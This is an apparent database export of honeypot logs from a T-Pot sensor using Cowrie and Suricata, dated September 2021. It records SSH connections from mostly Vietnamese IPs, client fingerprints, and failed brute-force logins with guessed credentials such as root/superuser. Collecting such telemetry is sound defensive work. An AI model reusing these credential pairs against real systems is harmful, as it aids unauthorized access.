22413	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:07:00.495101+03	2021-09-20 14:15:05.949785+03	{"_id": "lAbjAnwBvYTbRNuERQWG", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "53e384f69b66", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:07:00.495101Z", "@timestamp": "2021-09-20T11:07:00.495Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
22414	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:07:00.446375+03	2021-09-20 14:15:05.953785+03	{"_id": "oAbjAnwBvYTbRNuERQWH", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.login.failed", "message": "login attempt [admin/pas] failed", "session": "31847e4bc254", "@version": "1", "password": "pas", "username": "admin", "timestamp": "2021-09-20T11:07:00.446375Z", "@timestamp": "2021-09-20T11:07:00.446Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
22415	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:07:00.222178+03	2021-09-20 14:15:05.968798+03	{"_id": "mAbjAnwBvYTbRNuERQWH", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "31a25cff8312", "@version": "1", "duration": 2.9430794715881348, "timestamp": "2021-09-20T11:07:00.222178Z", "@timestamp": "2021-09-20T11:07:00.222Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
22416	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:07:00.28771+03	2021-09-20 14:15:05.983786+03	{"_id": "mQbjAnwBvYTbRNuERQWH", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "eventid": "cowrie.login.failed", "message": "login attempt [stephen/stephen] failed", "session": "d7c819b86e5f", "@version": "1", "password": "stephen", "username": "stephen", "timestamp": "2021-09-20T11:07:00.287710Z", "@timestamp": "2021-09-20T11:07:00.287Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
22417	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:07:00.733955+03	2021-09-20 14:15:06.020785+03	{"_id": "mwbjAnwBvYTbRNuERQWH", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "bb6ee8128784", "@version": "1", "timestamp": "2021-09-20T11:07:00.733955Z", "@timestamp": "2021-09-20T11:07:00.733Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
22418	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:07:00.981253+03	2021-09-20 14:15:06.036478+03	{"_id": "nAbjAnwBvYTbRNuERQWH", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.login.failed", "message": "login attempt [root/superuser] failed", "session": "9d8dc00085e5", "@version": "1", "password": "superuser", "username": "root", "timestamp": "2021-09-20T11:07:00.981253Z", "@timestamp": "2021-09-20T11:07:00.981Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
22419	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:07:01.160608+03	2021-09-20 14:15:06.03947+03	{"_id": "nQbjAnwBvYTbRNuERQWH", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "d58939a7bd18", "@version": "1", "duration": 2.421043872833252, "timestamp": "2021-09-20T11:07:01.160608Z", "@timestamp": "2021-09-20T11:07:01.160Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
22420	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:07:01.27377+03	2021-09-20 14:15:06.054469+03	{"_id": "tQbjAnwBvYTbRNuESQVu", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.105.211.46:38354 (192.168.176.2:22) [session: f04d29afdbcf]", "session": "f04d29afdbcf", "@version": "1", "protocol": "ssh", "src_port": 38354, "dest_port": 22, "timestamp": "2021-09-20T11:07:01.273770Z", "@timestamp": "2021-09-20T11:07:01.273Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
22421	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:07:01.747908+03	2021-09-20 14:15:06.07047+03	{"_id": "2AbjAnwBvYTbRNuESQVu", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.110.220.49:47540 (192.168.176.2:22) [session: 7d3a18fad046]", "session": "7d3a18fad046", "@version": "1", "protocol": "ssh", "src_port": 47540, "dest_port": 22, "timestamp": "2021-09-20T11:07:01.747908Z", "@timestamp": "2021-09-20T11:07:01.747Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
22423	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:07:01.63358+03	2021-09-20 14:15:06.101471+03	{"_id": "zAbjAnwBvYTbRNuESQVu", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "fb1ccce9b35a", "@version": "1", "timestamp": "2021-09-20T11:07:01.633580Z", "@timestamp": "2021-09-20T11:07:01.633Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
22424	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:07:01.971579+03	2021-09-20 14:15:06.104479+03	{"_id": "0wbjAnwBvYTbRNuESQVu", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "bb19f410fe9e", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:07:01.971579Z", "@timestamp": "2021-09-20T11:07:01.971Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
22425	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:07:02.032629+03	2021-09-20 14:15:06.12047+03	{"_id": "1QbjAnwBvYTbRNuESQVu", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "7d3a18fad046", "@version": "1", "timestamp": "2021-09-20T11:07:02.032629Z", "@timestamp": "2021-09-20T11:07:02.032Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
22426	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:07:02.117917+03	2021-09-20 14:15:06.13647+03	{"_id": "1gbjAnwBvYTbRNuESQVu", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "14f3cef08498", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:07:02.117917Z", "@timestamp": "2021-09-20T11:07:02.117Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
22427	116.98.160.162	109.199.241.180	Suricata	2021-09-20 14:07:02.394948+03	2021-09-20 14:15:06.15147+03	{"_id": "4wbjAnwBvYTbRNuESwXu", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "flow_id": 2100026060163770, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 38964, "dest_port": 22, "timestamp": "2021-09-20T11:07:02.394948Z", "@timestamp": "2021-09-20T11:07:02.394Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
22428	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:07:03.080453+03	2021-09-20 14:15:06.195472+03	{"_id": "9QbjAnwBvYTbRNuETQVg", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.98.160.162:38094 (192.168.176.2:22) [session: 65df2bdbb1cb]", "session": "65df2bdbb1cb", "@version": "1", "protocol": "ssh", "src_port": 38094, "dest_port": 22, "timestamp": "2021-09-20T11:07:03.080453Z", "@timestamp": "2021-09-20T11:07:03.080Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
